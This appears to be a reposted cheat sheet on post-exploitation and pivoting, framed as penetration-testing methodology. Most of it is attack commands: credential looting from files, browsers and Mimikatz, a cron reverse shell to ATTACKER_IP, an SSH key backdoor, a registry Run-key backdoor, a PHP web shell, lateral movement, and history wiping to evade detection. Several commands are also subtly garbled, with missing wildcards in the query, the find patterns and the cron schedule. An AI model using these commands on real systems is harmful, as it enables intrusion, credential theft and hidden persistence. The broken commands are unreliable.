Penetration Testing Methodology: Post-Exploitation and Pivoting

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After successfully exfiltrating a victim’s data and escalating privileges, penetration testers must focus on post-exploitation and pivoting to maximize their assessment. Below is a detailed breakdown of these critical phases.

11 – POST Exploitation

11.1 – Looting

Search for additional passwords, sensitive files, or access to other machines.

Commands & Techniques:

  • Search for passwords in files: 
    grep -r "password" /home/ /etc/ /var/log/
  • Check browser saved credentials (Linux): 
    find ~/.mozilla/firefox -name ".sqlite" -exec sqlite3 {} "SELECT  FROM logins;" \;
  • Extract SSH keys: 
    find / -name "id_rsa" -o -name ".pem" 2>/dev/null
  • Dump Windows credentials (Mimikatz): 
    sekurlsa::logonpasswords

11.2 – Persistence

Ensure continued access using multiple persistence mechanisms.

Techniques & Commands:

  • Cron Job (Linux): 
    echo "     /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | crontab -
  • SSH Backdoor (Linux): 
    echo "ssh-rsa ATTACKER_PUB_KEY" >> ~/.ssh/authorized_keys
  • Registry Persistence (Windows): 
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"
  • Web Shell (PHP): 
    <?php system($_GET['cmd']); ?>

12 – Pivoting

Use compromised credentials to move laterally or discover new networks.

Commands & Techniques:

  • Scan new networks from the victim: 
    for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from"; done
  • SSH Dynamic Port Forwarding (Proxychains): 
    ssh -D 1080 user@compromised_host
  • Metasploit Pivoting: 
    route add TARGET_NETWORK SUBNET_MASK SESSION_ID
  • CrackMapExec for Lateral Movement: 
    crackmapexec smb TARGET_IP -u USER -p PASSWORD --shares

You Should Know:

  • Always use multiple persistence methods in case one fails.
  • Log cleaning is crucial to avoid detection: 
    history -c && rm ~/.bash_history
  • Encrypt exfiltrated data to avoid detection: 
    tar -czf data.tar.gz /sensitive_data && openssl aes-256-cbc -salt -in data.tar.gz -out encrypted.enc
  • Use proxychains for stealthy scanning: 
    proxychains nmap -sT -Pn TARGET_IP

What Undercode Say:

Post-exploitation and pivoting are critical in penetration testing to simulate real-world attacks. Always document findings, maintain stealth, and explore every possible attack path. The goal is not just exploitation but understanding the full impact of a breach.

Expected Output:

  • Successful credential harvesting.
  • Established persistence mechanisms.
  • Network access via pivoting.
  • Comprehensive penetration test report.

Prediction:

As cybersecurity defenses improve, attackers will rely more on living-off-the-land techniques (using built-in tools) to evade detection. Red teams must adapt by mastering fileless attacks and lateral movement strategies.

Relevant URLs:

IT/Security Reporter URL:

Reported By: Abubakrmoh Penetration – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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